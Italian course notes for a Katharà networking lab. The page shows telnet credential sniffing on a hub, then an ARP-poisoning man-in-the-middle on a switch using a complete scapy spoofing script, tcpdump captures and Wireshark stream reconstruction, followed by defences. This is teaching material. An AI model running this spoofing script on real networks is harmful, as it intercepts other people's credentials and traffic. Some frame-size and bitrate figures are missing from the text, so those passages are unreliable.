Attacco man-in-the-middle
In questa pagina 8
Il laboratorio 7 (LAB7) mostra in pratica come un attaccante sulla stessa rete locale può leggere, e perfino modificare, il traffico tra due altri host. È il collegamento tra la parte di rete (livello collegamento, Protocollo ARPUn host ha tre «nomi»: nome DNS, indirizzo IP (rete) e indirizzo MAC (collegamento). Per spedire un datagramma IP in un frame serve il MAC del prossimo nodo, che si ottiene da quel nodo con ARP: richiesta in broadcast (MAC destinazione FF:FF:FF:FF:FF:FF, contiene IP e MAC del mittente e l'IP cercato) e risposta unicast con il MAC richiesto, memorizzata nella cache ARP. ARP risolve sempre il prossimo salto (host di destinazione o router), non la destinazione finale. Un broadcast non esce dalla sottorete: il proxy ARP del router risponde con il proprio MAC.Protocollo ARP →, Elementi di rete - hub, switch e routerI dispositivi che interconnettono le reti si distinguono per il livello della pila che arrivano a leggere. Hub (livello 1): ripetitore, rigenera il segnale e lo manda su tutte le porte, tutte le stazioni condividono la capacità. Bridge e switch (livello 2): leggono l'indirizzo MAC e inoltrano solo verso la porta giusta, imparando la tabella (FDB) dagli indirizzi sorgente. Router (livello 3): leggono l'indirizzo IP e collegano reti indipendenti (internetwork). Switch e bridge isolano il traffico e sono plug and play; il router fa instradamento ottimo ma va configurato.Elementi di rete - hub, switch e router →) e la parte di sicurezza (Introduzione alla sicurezza delle retiUna minaccia è un evento o una sequenza di azioni che può violare uno o più obiettivi di sicurezza; la sua realizzazione è un attacco. Obiettivi: riservatezza, integrità, disponibilità, responsabilità (accountability), privacy. Minacce: intercettazione, analisi del traffico, falsificazione, mascheramento, ripudio, profilazione, fingerprinting, disturbo (jamming). Servizi (segretezza, protezione dell'integrità, autenticazione del messaggio e dell'entità, non ripudio, anonimizzazione, gestione delle chiavi, controllo degli accessi) e meccanismi (cifratura, firma digitale, rilevamento delle intrusioni, MAC, randomizzazione, accordo sulla chiave). Un protocollo di sicurezza di livello N protegge la PDU di livello N e superiori, non quelle sotto. Attacchi fisici, software e di rete; sniffing e spoofing alla base di DoS (esempio: Smurf con ICMP) e MITM (avvelenamento della cache ARP o DNS, ICMP redirect). Altri: sinkhole, wormhole, ping of death, DDoS con botnet.Introduzione alla sicurezza delle reti →): non servono vulnerabilità del software, basta che i protocolli non siano autenticati né cifrati. Il laboratorio si avvia da un archivio (lab7.tar.gz) con tar xzvf lab7.tar.gz, cd lab7 e kathara lstart.
Gli scenari
Il laboratorio avvia due scenari identici, tranne il dispositivo che collega client, attaccante e router: un hub nello scenario 1, uno switch nello scenario 2.
sN_client 192.168.10.1 ---+
sN_attacker 192.168.10.2 ---+--- [ hub (N=1) oppure switch (N=2) ] --- eth0 192.168.10.254 [sN_router]
eth1 10.0.0.254 |
sN_server 10.0.0.100| Macchina | Ruolo | Indirizzo |
|---|---|---|
sN_client |
esegue il client telnet | 192.168.10.1/24 (gateway 192.168.10.254) |
sN_attacker |
vuole rubare le credenziali | 192.168.10.2/24 |
sN_router |
collega le due reti | eth0 192.168.10.254/24, eth1 10.0.0.254/24 |
sN_server |
esegue il server telnet; utente rdclab, password rdclab |
10.0.0.100/24 (gateway 10.0.0.254) |
| hub / switch | collega client, attaccante e router | senza indirizzi, senza terminale |
Gli indirizzi sono verificati con Python: 192.168.10.0/24 ospita client, attaccante e router; 10.0.0.0/24 ospita router e server. Con la maschera /24 () un host appartiene alla rete se i primi bit coincidono, cioè se indirizzo AND maschera dà l'indirizzo di rete (Subnetting e supernettingIl subnetting divide un blocco di indirizzi in sottoblocchi più piccoli allungando la maschera ($n_{\text{sub}}=n_{\text{rete}}+s$, con $2^s$ sottoreti); il supernetting (aggregazione CIDR) fa l'opposto, accorciando il prefisso per unire blocchi contigui in uno più grande. Regole di progetto: ogni sottorete ha un numero di indirizzi potenza di 2 ($M=2^k\ge$ host richiesti $+2$), prefisso $n=32-k$, indirizzo iniziale multiplo di $M$; si assegnano prima le sottoreti più grandi. Per aggregare $2^j$ blocchi di prefisso $n$ servono blocchi contigui il cui primo indirizzo sia multiplo della dimensione dell'aggregato, e il nuovo prefisso è $n-j$.Subnetting e supernetting →, Algebra di Boole e porte logicheVariabili booleane, operatori AND, OR, NOT e derivati (NAND, NOR, XOR, XNOR) con tabelle di verità; assiomi e teoremi dell'algebra di Boole, De Morgan; porte logiche e completezza di NAND e NOR; semplificazione algebrica con esempio.Algebra di Boole e porte logiche →): 192.168.10.1 AND 255.255.255.0 192.168.10.0, e lo stesso per 192.168.10.2 e 192.168.10.254; invece 10.0.0.100 AND 255.255.255.0 10.0.0.0, un'altra rete. Tutte le macchine partono già configurate: interfacce attive con il loro indirizzo, rotte (i .startup impostano route add default gw), nomi delle macchine in /etc/hosts (si usa s1_server, non l'indirizzo), servizi attivi e programmi installati.
Nel lab.conf si trovano opzioni che non abbiamo ancora incontrato:
| Opzione | Significato |
|---|---|
s1_client[num_terms]=1 |
numero di finestre di terminale (0 per lo switch, 2 per l'attaccante dello scenario 2, che esegue due comandi insieme) |
s2_attacker[bridged]=1 |
collega la macchina alla rete fisica (anche per i server: serve per scaricare i pacchetti con apt all'avvio) |
s2_client[sysctl]="net.ipv4.conf.all.arp_accept=1" |
modifica un parametro del kernel: qui il client accetta anche risposte ARP non richieste (e così il router) |
s1_client[ipv6]=0 |
disattiva IPv6 |
Nello scenario 2 lo switch (s2_switch) non è un dispositivo speciale: è una macchina con tre interfacce unite con un bridge Linux (brctl addbr br0, brctl addif br0 eth0, ...), che si comporta da switch (impara i MAC e inoltra i frame solo verso la porta giusta). Nello scenario 1 l'hub è invece implicito: Katharà lo crea da solo per ogni dominio di collisione (non c'è terminale).
Telnet: un protocollo in chiaro
Definizione (telnet). Protocollo client-server per accedere a una macchina remota con un canale bidirezionale. Il client chiede utente e password di un account della macchina remota; se sono accettati, i comandi digitati vengono eseguiti sulla macchina remota come se si fosse collegati localmente. Tutto, utente e password compresi, viaggia in chiaro: chiunque veda il flusso può rubare le credenziali.
Esempio. telnet s1_server dal client e, dopo l'accesso, i comandi hostname (stampa s1_server), pwd (stampa /home/rdclab), ls -al (mostra i file della cartella, anche quelli nascosti): sembra tutto locale, ma sono eseguiti sul server. Il prompt passa da root@s1_client:/# a rdclab@s1_server:~$.
Hub e switch
Proprietà (hub contro switch). Un hub (livello fisico) ripete il segnale in ingresso su tutte le altre porte, quindi ogni macchina collegata vede tutto il traffico. Uno switch (livello di collegamento) invia in genere i frame solo alla porta dove si trova la destinazione, dopo aver imparato gli indirizzi MAC (vedi LAN - Ethernet e Wi-FiUna LAN copre un'area limitata ed è definita dalla famiglia IEEE 802.x (802.3 Ethernet, 802.11 Wi-Fi), che divide il livello di collegamento in LLC e MAC. Ethernet è senza connessione, senza controllo di flusso e senza ACK; usa CSMA/CD 1-persistent; il frame va da 64 a 1518 byte (indirizzi di 6 byte, tipo/lunghezza, dati 46-1500, CRC di 4) e il minimo di 64 B deriva da $t_F\ge2\tau_p$. Dal 10 Mbit/s a coassiale fino al 10 Gbit/s su fibra, con switch full-duplex che eliminano le collisioni. Il Wi-Fi (802.11) usa CSMA/CA, ha i modi BSS (con access point) e ad hoc, EBSS con sistema di distribuzione; adatta il bitrate all'SNR; ha problemi del terminale nascosto e del terminale esposto, risolti in parte da RTS/CTS e NAV.LAN - Ethernet e Wi-Fi →).
Esempio. Se s1_client (hub) parla con il server, s1_attacker riceve comunque tutti i frame sul proprio eth0; se s2_client (switch) parla con il server, s2_attacker non riceve nulla di quella conversazione.
Perché lo switch non basta all'attaccante. Lo switch tiene una tabella MAC porta, che impara guardando il MAC sorgente di ogni frame in arrivo. Nello scenario 2 la tabella è, per esempio: MAC client porta 1, MAC attaccante porta 2, MAC router porta 3. Un frame con destinazione il MAC del router esce solo dalla porta 3: l'attaccante sulla porta 2 non lo vede. L'ARP poisoning non cambia la tabella dello switch: cambia il MAC di destinazione che il client scrive nel frame. Dopo l'avvelenamento il client scrive il MAC dell'attaccante, e lo switch, che si limita a leggere quel campo, manda il frame alla porta 2.
Scenario 1: l'hub
Sull'attaccante si registra il traffico IP dell'interfaccia eth0 in un file nella cartella condivisa:
tcpdump -i eth0 ip -w /shared/scenario_1.pcapSpiegazione: -i eth0 interfaccia da ascoltare, ip filtro: solo pacchetti IP (non gli ARP), -w file salva in un file .pcap invece di stampare. La cartella /shared del laboratorio è visibile anche sul computer vero (shared/scenario_1.pcap). Poi, sul client:
root@s1_client:/# telnet s1_server # si apre la connessione verso il server
Trying 127.0.0.1..
Connected to s1_server.
Debian GNU/Linux 10
s1_server login: rdclab # nome utente
Password: rdclab # password (non appare a schermo)Dopo qualche comando (hostname, pwd, ls -al) si chiude la sessione con Ctrl+D e si ferma tcpdump sull'attaccante con Ctrl+C. Il file si apre con Wireshark: compare prima la stretta di mano a tre vie del TCP (SYN, SYN-ACK, ACK) e poi i pacchetti etichettati TELNET.
Definizione (Follow TCP stream). Funzione di Wireshark che, da una cattura, estrae e riassembla il flusso di un protocollo in chiaro e lo mostra leggibile. Si usa selezionando un pacchetto della conversazione e scegliendo dal menu del tasto destro Follow TCP Stream.
Esempio. Nel flusso i caratteri rossi sono quelli inviati dal client al server, quelli blu quelli del server verso il client; i byte non rappresentabili sono sostituiti da punti. Il flusso mostra, quasi identico, quello che si vedeva nel terminale del client, e quindi anche utente e password.
Esercizio: perché s1_server login: mostra rrddccllaabb a colori alternati e Password: solo rdclab in rosso?
- Telnet manda un carattere alla volta, e per il nome utente è il server a fare l'eco (echo): ogni carattere digitato dal client (rosso) viene rimandato indietro dal server (blu) perché compaia sullo schermo. Nel flusso ricostruito ogni lettera compare due volte, una rossa e una blu:
rrossa,rblu,drossa,dblu, ... cioèrrddccllaabb. - Per la password il server disattiva l'eco (così la password non appare sullo schermo): non c'è nessuna risposta blu, e nel flusso si vede solo ciò che ha mandato il client,
rdclab, in rosso. Il fatto che non venga rimandata a schermo non la protegge: viaggia sul cavo in chiaro.
Scenario 2: lo switch
Si ripete la stessa procedura (tcpdump -i eth0 ip -w /shared/scenario_2.pcap sull'attaccante, login telnet dal client). Con lo switch l'attaccante non riceve nulla della conversazione: lo switch inoltra i frame verso la porta del server (o del router) e non verso quella dell'attaccante, e la cattura non contiene pacchetti telnet. Serve un approccio diverso.
L'attacco man-in-the-middle
Definizione (attacco man-in-the-middle, MITM). L'attaccante si mette in mezzo ai due estremi di una conversazione (mittente e destinatario) facendo credere al destinatario di essere il mittente e al mittente di essere il destinatario. Può essere passivo (intercetta il flusso e lo inoltra al destinatario originale senza che nessuno si accorga di lui) o attivo (intercetta e modifica il flusso prima di inoltrarlo).
Esempio. Qui l'attacco è passivo: l'attaccante inoltra tutto senza cambiare nulla, il client e il server vedono una sessione telnet normale.
Esistono vari metodi; quello del laboratorio è l'avvelenamento ARP (ARP poisoning, o ARP spoofing).
Il punto debole di ARP
Prima di tutto, a quale MAC manda il client un pacchetto per il server? Il client (192.168.10.1/24) confronta l'IP di destinazione 10.0.0.100 con la propria rete: 10.0.0.100 AND 255.255.255.0 10.0.0.0, diverso da 192.168.10.0, quindi il server non è sulla stessa rete e il pacchetto va spedito al gateway (192.168.10.254, Instradamento e inoltroL'inoltro (forwarding) mette il pacchetto sulla strada verso la destinazione, un salto alla volta (hop by hop). Se la destinazione è nella stessa rete del mittente l'inoltro è diretto (si usa l'ARP per il MAC del destinatario), altrimenti è indiretto: il pacchetto va al router successivo (next hop) indicato dalla tabella di instradamento, o al default gateway. Con le netmask: l'inoltro è diretto attraverso l'interfaccia $x$ se $\text{IP(dst)}\ \text{AND}\ \text{NM}(x)=\text{IP}(x)\ \text{AND}\ \text{NM}(x)$; altrimenti si scorre la tabella dalla maschera più lunga (longest prefix match) e si usa il primo match. La riga con rete $0.0.0.0$ e maschera $0.0.0.0$ (default route) corrisponde sempre. L'aggregazione di rotte (route aggregation) riduce la tabella, e nell'inoltro con etichette (MPLS) la tabella si consulta per indice.Instradamento e inoltro →, Livello di rete e indirizzamento IPIl livello di rete (network layer) porta i datagrammi da host a host attraverso i router: incapsula (framing), sceglie il percorso (routing) e sposta il pacchetto da un ingresso a un'uscita del router (forwarding); in Internet lascia ai livelli superiori controllo d'errore, di flusso e di congestione. Un indirizzo IPv4 è di 32 bit, diviso in prefisso (rete, $n$ bit) e suffisso (host, $32-n$ bit). L'indirizzamento a classi (A, B, C, D, E) è obsoleto; oggi si usa quello senza classi (CIDR): data una notazione $a.b.c.d/n$ si ricavano $N=2^{32-n}$ indirizzi, indirizzo di rete (suffisso tutto 0) e di broadcast (suffisso tutto 1), oppure con la netmask: rete $=$ indirizzo AND maschera, broadcast $=$ indirizzo OR (NOT maschera).Livello di rete e indirizzamento IP →). Nel frame Ethernet l'IP di destinazione resta quello del server, ma il MAC di destinazione è quello del router, che il client ricava dalla sua cache ARP. Lo stesso accade per il router verso il client, che è sulla sua rete 192.168.10.0/24 (nessun gateway: MAC del client). Per questo basta falsificare le due voci (IP del router e IP del client) per far passare tutta la conversazione dall'attaccante.
Ricordiamo (Protocollo ARPUn host ha tre «nomi»: nome DNS, indirizzo IP (rete) e indirizzo MAC (collegamento). Per spedire un datagramma IP in un frame serve il MAC del prossimo nodo, che si ottiene da quel nodo con ARP: richiesta in broadcast (MAC destinazione FF:FF:FF:FF:FF:FF, contiene IP e MAC del mittente e l'IP cercato) e risposta unicast con il MAC richiesto, memorizzata nella cache ARP. ARP risolve sempre il prossimo salto (host di destinazione o router), non la destinazione finale. Un broadcast non esce dalla sottorete: il proxy ARP del router risponde con il proprio MAC.Protocollo ARP →): ARP serve a sapere quale indirizzo MAC corrisponde a un indirizzo IP. Si manda una richiesta in broadcast, e la macchina che ha quell'IP risponde in unicast con il proprio MAC. Per ridurre il traffico ogni macchina tiene una cache ARP, aggiornata a ogni risposta ARP ricevuta. ARP non ha nessuna autenticazione: chiunque nella stessa rete locale può spedire una risposta ARP, anche non richiesta, e la cache viene aggiornata. Per questo l'attacco funziona solo se l'attaccante è nella stessa rete locale dei bersagli.
Definizione (ARP poisoning). Tecnica che reindirizza il traffico di due parti attraverso la macchina dell'attaccante, corrompendo le cache ARP dei bersagli con risposte ARP false inviate di continuo.
Nel laboratorio l'attaccante s2_attacker invia:
- a
s2_clientuna risposta ARP che dice «l'indirizzo IP dis2_routerha il mio MAC»; - a
s2_routeruna risposta ARP che dice «l'indirizzo IP dis2_clientha il mio MAC».
Effetto:
| Macchina | Voce nella cache ARP dopo l'attacco | Conseguenza |
|---|---|---|
s2_client |
IP di s2_router MAC di s2_attacker |
il client spedisce i frame per il router all'attaccante |
s2_router |
IP di s2_client MAC di s2_attacker |
il router spedisce i frame per il client all'attaccante |
L'attaccante è configurato per inoltrare i pacchetti (IP forwarding), così i frame ricevuti dal client con destinazione il router arrivano davvero al router e viceversa. Il client e il server non notano nulla; l'attaccante legge tutto e potrebbe anche alterare il traffico prima di inoltrarlo.
Il programma con scapy
Esistono strumenti pronti (ettercap e arpspoof, già installati sull'attaccante), ma nel laboratorio si scrive il programma a mano in Python con la libreria scapy, che costruisce pacchetti a piacere (/root/arp_spoof_1.py).
#!/usr/bin/env python3
import time
from socket import gethostbyname
from scapy.all import *
s2_attacker_ipa = get_if_addr('eth0') # IP di eth0 dell'attaccante
s2_attacker_hwa = get_if_hwaddr('eth0') # MAC di eth0 dell'attaccante
s2_client_ipa = gethostbyname('s2_client') # IP del client (da /etc/hosts)
s2_client_hwa = getmacbyip(s2_client_ipa) # MAC del client (con una vera richiesta ARP)
s2_router_ipa = gethostbyname('s2_router') # IP del router
s2_router_hwa = getmacbyip(s2_router_ipa) # MAC del router
# risposta ARP falsa per il client: "l'IP del router ha il MAC dell'attaccante"
EC = Ether(dst=s2_client_hwa, src=s2_attacker_hwa) # frame Ethernet: destinatario il client, mittente l'attaccante
AC = ARP(op=2, hwsrc=s2_attacker_hwa, psrc=s2_router_ipa, # op=2: risposta (1 sarebbe richiesta);
hwdst=s2_client_hwa, pdst=s2_client_ipa) # "psrc ha il MAC hwsrc" con psrc = IP del router
pktC = EC/AC # impila frame e messaggio ARP
# risposta ARP falsa per il router: "l'IP del client ha il MAC dell'attaccante"
ER = Ether(dst=s2_router_hwa, src=s2_attacker_hwa)
AR = ARP(op=2, hwsrc=s2_attacker_hwa, psrc=s2_client_ipa,
hwdst=s2_router_hwa, pdst=s2_router_ipa)
pktR = ER/AR
try:
while True: # ripete all'infinito...
sendp(pktC, verbose=False) # ...invia il pacchetto falso al client...
sendp(pktR, verbose=False) # ...e quello falso al router
time.sleep(1) # ogni secondo, per mantenere avvelenate le cache
except KeyboardInterrupt:
print("\r", end="") # Ctrl-C interrompe il ciclo(il programma delle slide stampa anche gli indirizzi trovati e i pacchetti con .show(); qui è ridotto al nucleo). Punti da ricordare:
- l'attaccante prima trova i MAC veri del client e del router (
getmacbyip, che fa una richiesta ARP vera); - nei messaggi ARP falsi il MAC è il suo, ma l'IP è quello della macchina che sta impersonando (
psrc); - il frame è unicast verso il bersaglio (non broadcast), e ha byte: l'intestazione Ethernet è (MAC destinazione) (MAC sorgente) (tipo) byte, e il messaggio ARP per IPv4 su Ethernet è byte di campi fissi (tipo di hardware, protocollo, lunghezze, operazione) più byte per gli indirizzi (MAC e IP di mittente e destinatario) byte (la scheda poi aggiunge un riempimento fino alla lunghezza minima Ethernet). Due pacchetti al secondo sono circa bit/s: un traffico trascurabile, che non fa sospettare nulla;
- la ripetizione ogni secondo serve perché le voci della cache scadono e perché le macchine vere continuano a mandare le proprie risposte ARP vere: l'attaccante «vince» solo rimettendo il suo MAC ogni volta;
- l'avvelenamento riesce perché client e router accettano le risposte ARP non richieste (nel laboratorio con
arp_accept=1, e senza autenticazione nel protocollo).
Esecuzione dell'attacco
Prima si guarda la cache ARP delle due vittime con il comando arp:
root@s2_client:/# arp
Address HWtype HWaddress Flags Mask Iface
s2_router ether <MAC vero del router> C eth0
root@s2_router:/# arp
s2_server ether <MAC vero del server> C eth1
s2_client ether <MAC vero del client> C eth0Poi, su una finestra di s2_attacker:
root@s2_attacker:~# cd /root
root@s2_attacker:~# ./arp_spoof_1.py # avvia l'avvelenamento (lo script è eseguibile: chmod +x nel .startup)Si rileggono le cache: devono mostrare il MAC dell'attaccante al posto di quelli veri.
root@s2_client:/# arp
s2_attacker ether <MAC dell'attaccante> C eth0
s2_router ether <MAC dell'attaccante> C eth0 # <- avvelenata
root@s2_router:/# arp
s2_server ether <MAC vero del server> C eth1
s2_client ether <MAC dell'attaccante> C eth0 # <- avvelenata
s2_attacker ether <MAC dell'attaccante> C eth0Con lo script ancora attivo, nella seconda finestra dell'attaccante si cattura:
tcpdump -i eth0 ip -w /shared/scenario_2_mitm.pcape si fa il login telnet dal client verso il server, come prima, con hostname, pwd e ls -al, poi Ctrl+D. Aprendo scenario_2_mitm.pcap in Wireshark e usando Follow TCP stream si ottiene l'intera conversazione telnet con le credenziali, esattamente come nello scenario 1. Le due catture però non sono uguali:
- con l'hub l'attaccante riceve ogni frame una volta, senza aver fatto nulla;
- con lo switch ogni pacchetto compare due volte sull'attaccante: una quando il frame arriva (MAC destinazione = attaccante, ma indirizzo IP destinazione quello del server o del client) e una quando l'attaccante lo inoltra (cambiano i MAC, restano gli indirizzi IP). Inoltre l'attaccante deve continuare a mandare le risposte ARP false per tutta la durata della sessione. Nella cattura si può filtrare per MAC per distinguere le due copie. (Il testo delle slide si interrompe su questa osservazione.)
Difese
Fuori dal laboratorio, e come collegamento con la parte di sicurezza, le difese sono:
- cifrare il traffico: SSH al posto di telnet, TLS (Crittografia asimmetrica, RSA e TLSCrittografia asimmetrica (a chiave pubblica): chiave di cifratura pubblica v_B, chiave di decifratura privata s_B, matematicamente legate; C = E_vB(P), P = D_sB(C); dà riservatezza. I certificati digitali, emessi da una Certificate Authority e firmati con la sua chiave privata, legano un'identità a una chiave pubblica. Firma digitale: hash del messaggio cifrato con la chiave privata; garantisce autenticità, integrità e non ripudio. RSA: si scelgono due primi grandi p e q, N = pq, phi(N) = (p-1)(q-1), e coprimo con phi(N), d = e^(-1) mod phi(N); chiave pubblica (N, e), segreta (N, d); cifratura c = m^e mod N, decifratura m = c^d mod N con m < N (teorema di Eulero); sicura finché la fattorizzazione è difficile (N di almeno 2048 bit); il padding casuale (PKCS#1 v1.5: 00 02 [casuale] 00 [m]) difende da malleabilità e determinismo. La firma RSA è s = m^d mod N, verificata con s^e mod N. TLS (su TCP) autentica gli estremi con il certificato, cifra i dati con una chiave di sessione simmetrica e garantisce l'integrità con i MAC; da TLS 1.0 a 1.3 la chiave si ricava con Diffie-Hellman e l'handshake si accorcia. DTLS è la versione per UDP.Crittografia asimmetrica, RSA e TLS →). Con un canale cifrato e autenticato l'attaccante che sta in mezzo vede solo byte incomprensibili, e non può modificarli senza essere scoperto;
- voci ARP statiche (
arp -s indirizzo MAC) per le macchine importanti, come il gateway; - controlli sullo switch, che verificano la corrispondenza tra IP e MAC, e programmi che segnalano cambiamenti anomali nelle cache ARP.
Errori tipici
- Pensare che lo switch protegga dall'intercettazione: impedisce solo l'ascolto passivo, non l'attacco con ARP spoofing.
- Credere che la password non mostrata a schermo sia protetta: in telnet viaggia in chiaro.
- Dimenticare di far girare in continuazione l'avvelenamento: le cache tornano corrette dopo poco.
- Dimenticare l'inoltro nell'attaccante: senza di esso il client e il server perdono la connessione e l'attacco si nota subito.
- Confondere l'IP e il MAC nei pacchetti ARP falsi: il MAC è quello dell'attaccante, l'IP è quello della vittima da impersonare.
Versione ripasso
- Telnet. Accesso remoto con canale bidirezionale: dopo il login i comandi digitati girano sulla macchina remota. Utente e password viaggiano in chiaro: chi legge il flusso ruba le credenziali. Esempio: dopo
telnet s1_serveri comandihostname(stampas1_server),pwd(/home/rdclab) els -alsembrano locali ma girano sul server; il prompt passa daroot@s1_client:/#ardclab@s1_server:~$. In Wireshark, Follow TCP stream: rosso = client server, blu = server client, punti = byte non stampabili. - Login.
s1_server login:compare comerrddccllaabb: telnet manda un carattere alla volta e il server ne fa l'eco (ogni lettera rossa, poi blu).Password:compare solo comerdclabrosso, perché il server disattiva l'eco, ma la password viaggia comunque in chiaro. - Hub contro switch (Elementi di rete - hub, switch e routerI dispositivi che interconnettono le reti si distinguono per il livello della pila che arrivano a leggere. Hub (livello 1): ripetitore, rigenera il segnale e lo manda su tutte le porte, tutte le stazioni condividono la capacità. Bridge e switch (livello 2): leggono l'indirizzo MAC e inoltrano solo verso la porta giusta, imparando la tabella (FDB) dagli indirizzi sorgente. Router (livello 3): leggono l'indirizzo IP e collegano reti indipendenti (internetwork). Switch e bridge isolano il traffico e sono plug and play; il router fa instradamento ottimo ma va configurato.Elementi di rete - hub, switch e router →, LAN - Ethernet e Wi-FiUna LAN copre un'area limitata ed è definita dalla famiglia IEEE 802.x (802.3 Ethernet, 802.11 Wi-Fi), che divide il livello di collegamento in LLC e MAC. Ethernet è senza connessione, senza controllo di flusso e senza ACK; usa CSMA/CD 1-persistent; il frame va da 64 a 1518 byte (indirizzi di 6 byte, tipo/lunghezza, dati 46-1500, CRC di 4) e il minimo di 64 B deriva da $t_F\ge2\tau_p$. Dal 10 Mbit/s a coassiale fino al 10 Gbit/s su fibra, con switch full-duplex che eliminano le collisioni. Il Wi-Fi (802.11) usa CSMA/CA, ha i modi BSS (con access point) e ad hoc, EBSS con sistema di distribuzione; adatta il bitrate all'SNR; ha problemi del terminale nascosto e del terminale esposto, risolti in parte da RTS/CTS e NAV.LAN - Ethernet e Wi-Fi →). L'hub (livello fisico) ripete il segnale su tutte le porte; lo switch (livello di collegamento) inoltra i frame solo alla porta della destinazione, dopo aver imparato i MAC. Esempio: con l'hub
s1_attackerriceve ogni frame del client; con lo switchs2_attackernon riceve nulla della conversazione. - Topologia. Client
192.168.10.1, attaccante192.168.10.2, router192.168.10.254(eth0) e10.0.0.254(eth1), server10.0.0.100; utente e passwordrdclab.
tcpdump -i eth0 ip -w /shared/scenario_1.pcap # sull'attaccante: ascolta eth0, solo IP (ip), salva in .pcap invece di stampare
telnet s1_server # sul client: apre la sessione telnet verso il server
arp # sul client o sul router: mostra la cache ARP (IP, MAC, interfaccia)
./arp_spoof_1.py # sull'attaccante: avvia l'avvelenamento ARP (resta in esecuzione)- Scenario 1 (hub). Cattura, login,
Ctrl+Dsul client,Ctrl+Csutcpdump. Wireshark mostra la stretta di mano TCP (SYN, SYN-ACK, ACK) e i pacchetti TELNET. - Scenario 2 (switch). Lo stesso
tcpdumpnon cattura nulla della conversazione: lo switch inoltra i frame solo verso la porta del server (o del router). Serve il MITM. - Follow TCP stream. Funzione di Wireshark che riassembla il flusso di un protocollo in chiaro e lo mostra leggibile (tasto destro sul pacchetto, Follow, TCP Stream).
- MITM. L'attaccante si mette in mezzo e impersona ciascun estremo con l'altro. Passivo: inoltra senza modificare. Attivo: modifica il flusso prima di inoltrarlo.
- ARP poisoning (Protocollo ARPUn host ha tre «nomi»: nome DNS, indirizzo IP (rete) e indirizzo MAC (collegamento). Per spedire un datagramma IP in un frame serve il MAC del prossimo nodo, che si ottiene da quel nodo con ARP: richiesta in broadcast (MAC destinazione FF:FF:FF:FF:FF:FF, contiene IP e MAC del mittente e l'IP cercato) e risposta unicast con il MAC richiesto, memorizzata nella cache ARP. ARP risolve sempre il prossimo salto (host di destinazione o router), non la destinazione finale. Un broadcast non esce dalla sottorete: il proxy ARP del router risponde con il proprio MAC.Protocollo ARP →). ARP non ha autenticazione: la cache si aggiorna a ogni risposta, anche non richiesta. Funziona solo nella stessa rete locale.
- Attacco. Ogni secondo l'attaccante invia due risposte ARP false (
op=2): al client «l'IP del router ha il MAC dell'attaccante», al router «l'IP del client ha il MAC dell'attaccante». Dopo l'attacco le cache mostrano il MAC dell'attaccante al posto di quello vero. L'attaccante fa IP forwarding, quindi client e server non si accorgono di nulla. Nel laboratorio client e router hannoarp_accept=1. - Programma
arp_spoof_1.py(Python +scapy). Trova IP e MAC conget_if_addr,get_if_hwaddr,gethostbyname,getmacbyip(quest'ultimo fa una vera richiesta ARP). Il frame èEther(dst=MAC vittima, src=MAC attaccante)/ARP(op=2, hwsrc=MAC attaccante, psrc=IP impersonato, hwdst=MAC vittima, pdst=IP vittima): il MAC è quello dell'attaccante, l'IP quello della macchina impersonata. Lunghezza del frame: byte (intestazione Ethernet più messaggio ARP). Invio consendpin un ciclo contime.sleep(1), perché le voci scadono e le risposte vere le sovrascrivono. Strumenti pronti:ettercap,arpspoof. - Verifica. Con lo script attivo,
tcpdump -i eth0 ip -w /shared/scenario_2_mitm.pcap, login telnet dal client,Ctrl+D. In Wireshark, Follow TCP stream mostra di nuovo la sessione e le credenziali. Differenza: con l'hub ogni frame compare una volta; con il MITM ogni pacchetto compare due volte (all'arrivo e all'inoltro, con MAC diversi), e l'avvelenamento deve continuare per tutta la sessione. - Difese. Cifrare il traffico: SSH al posto di telnet, TLS (Crittografia asimmetrica, RSA e TLSCrittografia asimmetrica (a chiave pubblica): chiave di cifratura pubblica v_B, chiave di decifratura privata s_B, matematicamente legate; C = E_vB(P), P = D_sB(C); dà riservatezza. I certificati digitali, emessi da una Certificate Authority e firmati con la sua chiave privata, legano un'identità a una chiave pubblica. Firma digitale: hash del messaggio cifrato con la chiave privata; garantisce autenticità, integrità e non ripudio. RSA: si scelgono due primi grandi p e q, N = pq, phi(N) = (p-1)(q-1), e coprimo con phi(N), d = e^(-1) mod phi(N); chiave pubblica (N, e), segreta (N, d); cifratura c = m^e mod N, decifratura m = c^d mod N con m < N (teorema di Eulero); sicura finché la fattorizzazione è difficile (N di almeno 2048 bit); il padding casuale (PKCS#1 v1.5: 00 02 [casuale] 00 [m]) difende da malleabilità e determinismo. La firma RSA è s = m^d mod N, verificata con s^e mod N. TLS (su TCP) autentica gli estremi con il certificato, cifra i dati con una chiave di sessione simmetrica e garantisce l'integrità con i MAC; da TLS 1.0 a 1.3 la chiave si ricava con Diffie-Hellman e l'handshake si accorcia. DTLS è la versione per UDP.Crittografia asimmetrica, RSA e TLS →). Un canale cifrato e autenticato fa vedere all'attaccante solo byte incomprensibili, e le modifiche si scoprono. Altre difese: voci ARP statiche (
arp -s) per il gateway; controlli IP-MAC sullo switch; programmi che segnalano cambiamenti anomali nelle cache ARP. - Riferimento. Modello di sicurezza e fondamenti: Introduzione alla sicurezza delle retiUna minaccia è un evento o una sequenza di azioni che può violare uno o più obiettivi di sicurezza; la sua realizzazione è un attacco. Obiettivi: riservatezza, integrità, disponibilità, responsabilità (accountability), privacy. Minacce: intercettazione, analisi del traffico, falsificazione, mascheramento, ripudio, profilazione, fingerprinting, disturbo (jamming). Servizi (segretezza, protezione dell'integrità, autenticazione del messaggio e dell'entità, non ripudio, anonimizzazione, gestione delle chiavi, controllo degli accessi) e meccanismi (cifratura, firma digitale, rilevamento delle intrusioni, MAC, randomizzazione, accordo sulla chiave). Un protocollo di sicurezza di livello N protegge la PDU di livello N e superiori, non quelle sotto. Attacchi fisici, software e di rete; sniffing e spoofing alla base di DoS (esempio: Smurf con ICMP) e MITM (avvelenamento della cache ARP o DNS, ICMP redirect). Altri: sinkhole, wormhole, ping of death, DDoS con botnet.Introduzione alla sicurezza delle reti →.
- Errori tipici: pensare che lo switch basti (blocca solo l'ascolto passivo); credere che la password nascosta a schermo sia protetta; avvelenare una sola volta; dimenticare l'inoltro (client e server perdono la connessione); scambiare IP e MAC nei pacchetti falsi.